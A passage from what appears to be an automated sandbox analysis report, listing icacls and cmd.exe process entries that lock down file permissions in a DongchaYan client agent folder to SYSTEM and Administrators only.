        icacls "C:\dcy\Client\agent-cache\logs" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:2984
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\tools\VideoPlugin" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:(OI)(CI)F" "*S-1-5-32-544:(OI)(CI)F" /C
        6⤵
        
        PID:3092
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c for /r "C:\dcy" %G in (*) do icacls "%G" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C >nul 2>nul
        5⤵
        Executes a command shell one-liner
        
        PID:1480
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Accessibility.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1396
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\aspnetcorev2_inprocess.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3056
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\BouncyCastle.Cryptography.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4284
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\clretwrc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3164
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\clrgc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:248
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\clrjit.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1932
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Common.Logging.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5356
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Common.Logging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Concentus.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2564
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\coreclr.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4152
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\D3DCompiler_47_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1264
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\DirectWriteForwarder.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6112
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\DnsClient.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5484
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\DongchaYan.Agent.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2460
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\DongchaYan.Agent.Modules.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1680
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\e_sqlite3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5708
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hostfxr.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5076
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\hostpolicy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2992
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Makaretu.Dns.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1552
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Makaretu.Dns.Multicast.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6068
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Antiforgery.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1936
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4944
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.BearerToken.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5448
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.Cookies.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4280
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3660
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authentication.OAuth.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3020
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authorization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3788
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Authorization.Policy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1484
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Authorization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2548
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1140
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Endpoints.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2100
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Forms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:552
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Server.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1996
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Components.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4180
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Connections.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6124
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.CookiePolicy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2540
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Cors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3672
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Cryptography.Internal.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1604
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Cryptography.KeyDerivation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1324
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.DataProtection.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5060
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.DataProtection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1652
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.DataProtection.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5500
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Diagnostics.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3648
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Diagnostics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1364
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Diagnostics.HealthChecks.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4772
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2804
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HostFiltering.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2108
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Hosting.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1216
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Hosting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5812
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Hosting.Server.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2392
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Html.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2620
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1168
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Connections.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Connections.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2060
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4784
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4760
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Features.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1736
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Http.Results.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2684
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HttpLogging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HttpOverrides.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4340
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.HttpsPolicy.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3732
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Identity.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3472
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Localization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3428
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Localization.Routing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3136
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Metadata.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4996
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4388
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.ApiExplorer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3360
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3440
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Cors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5204
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.DataAnnotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2616
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2228
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Formatters.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5524
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Formatters.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3868
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Localization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2908
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.Razor.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5364
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.RazorPages.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2840
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.TagHelpers.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5308
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Mvc.ViewFeatures.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4728
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.OutputCaching.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3604
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.RateLimiting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3816
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Razor.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5888
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Razor.Runtime.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4912
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.RequestDecompression.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2452
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.ResponseCaching.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:600
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.ResponseCaching.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5712
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.ResponseCompression.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2836
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Rewrite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:468
      - C:\Windows\System32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Routing.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:624
      - C:\Windows\System32\icacls.exe
        
